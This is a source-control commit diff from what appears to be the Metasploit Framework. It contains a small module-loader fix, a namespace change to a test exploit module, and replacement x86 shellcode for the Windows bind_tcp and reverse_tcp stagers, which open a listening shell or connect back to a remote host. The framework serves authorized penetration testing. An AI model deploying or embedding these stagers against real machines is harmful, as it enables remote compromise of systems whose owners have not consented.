partial fix for mod cache issue? committed vlad's new stagers

git-svn-id: file:///home/svn/framework3/trunk@4013 4d416f70-5f16-0410-b530-b9f4589650da

lib/msf/core/module_manager.rb

@@ -986,7 +986,19 @@ protected
 			m.gsub!(/(_[a-z])/) { |s| s[1..1].upcase }
 
 			begin
-				obj = obj.const_get(m)
+				new_obj = obj.const_get(m)
+
+				# I can't really explain why this check is necessary.  Perhaps
+				# someone cooloer than I can explain it.  Here's the scenario.
+				# const_get is returning constants that are not accessible
+				# immediately from within the object passed.  However, the
+				# documentation states that this is how it should operate.
+				# Perhaps I misread.
+				if obj.constants.grep(m).length == 0
+					raise NameError
+				end
+
+				obj = new_obj
 			rescue NameError
 				obj = obj.const_set(m, ::Module.new)
 			end

modules/exploits/test/multi/aggressive.rb

@@ -1,8 +1,11 @@
 require 'msf/core'
 
 module Msf
+module Exploits
+module Test
+module Multi
 
-class Exploits::Test::Multi::Aggressive < Msf::Exploit::Remote
+class Aggressive < Msf::Exploit::Remote
 
 	include Exploit::Remote::Tcp
 
@@ -87,3 +90,6 @@ class Exploits::Test::Multi::Aggressive < Msf::Exploit::Remote
 end
 
 end
+end
+end
+end

modules/payloads/stagers/windows/bind_tcp.rb

@@ -26,25 +26,22 @@ module BindTcp
 				{
 					'Offsets' =>
 						{
-							'LPORT' => [ 162, 'n' ],
+							'LPORT' => [ 144, 'n' ],
 						},
 					'Payload' =>
-						"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" +
+						"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d\x3c\x8b" +
-						"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" +
+						"\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34\x9a\x01\xee\x31" +
-						"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" +
+						"\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0\x75\xf6\x43\x66\x39\xca" +
-						"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" +
+						"\x75\xe3\x4b\x8b\x4f\x24\x01\xe9\x66\x8b\x1c\x59\x8b\x4f\x1c\x01" +
-						"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" +
+						"\xe9\x03\x2c\x99\x89\x6c\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43" +
-						"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" +
+						"\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68" +
-						"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
+						"\x33\x32\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53" +
-						"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" +
+						"\x53\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02\x57" +
-						"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" +
+						"\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6\x97\x66\x68" +
-						"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" +
+						"\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x66\xb9\x80\x3b\xff\xd6" +
-						"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" +
+						"\x53\x57\x66\xb9\x75\x49\xff\xd6\x54\x54\x54\x57\x66\xb9\x32\x4c" +
-						"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" +
+						"\xff\xd6\x97\x50\x66\xb9\x33\xce\xff\xd6\x89\xe1\x50\xb4\x0c\x50" +
-						"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" +
+						"\x51\x57\x51\x66\xb9\xc0\x38\xff\xe6"
-						"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x68\xb6\x19" +
-						"\x18\xe7\x57\xff\xd6\x87\xdf\x89\xe2\x31\xc9\x51\xb5\x0c\x51\x52" +
-						"\x57\x52\xff\xe0"
 				}
 			))
 	end

modules/payloads/stagers/windows/reverse_tcp.rb

@@ -26,23 +26,22 @@ module ReverseTcp
 				{
 					'Offsets' =>
 						{
-							'LHOST' => [ 160, 'ADDR' ],
+							'LHOST' => [ 142, 'ADDR' ],
-							'LPORT' => [ 166, 'n'    ],
+							'LPORT' => [ 148, 'n'    ],
 						},
 					'Payload' =>
-						"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" +
+						"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d\x3c\x8b" +
-						"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" +
+						"\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34\x9a\x01\xee\x31" +
-						"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" +
+						"\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0\x75\xf6\x43\x66\x39\xca" +
-						"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" +
+						"\x75\xe3\x4b\x8b\x4f\x24\x01\xe9\x66\x8b\x1c\x59\x8b\x4f\x1c\x01" +
-						"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" +
+						"\xe9\x03\x2c\x99\x89\x6c\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43" +
-						"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" +
+						"\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68" +
-						"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
+						"\x33\x32\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53" +
-						"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" +
+						"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02\x57\x53" +
-						"\x5d\x89\xe7\x66\x81\xef\x08\x02\x57\x6a\x02\xff\xd0\x68\xd9\x09" +
+						"\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6\x97\x68\x7f\x00" +
-						"\xf5\xad\x55\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" +
+						"\x00\x01\x66\x68\x11\x5c\x66\x53\x89\xe3\x6a\x10\x53\x57\x66\xb9" +
-						"\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x53\x89\xe3\x97\x68\xec\xf9" +
+						"\x57\x05\xff\xd6\x50\xb4\x0c\x50\x53\x57\x53\x66\xb9\xc0\x38\xff" +
-						"\xaa\x60\x55\xff\xd6\x6a\x10\x53\x57\xff\xd0\x68\xb6\x19\x18\xe7" +
+						"\xe6"
-						"\x55\xff\xd6\x31\xc9\x51\xb5\x0c\x51\x53\x57\x53\xff\xe0"
 				}
 			))
 	end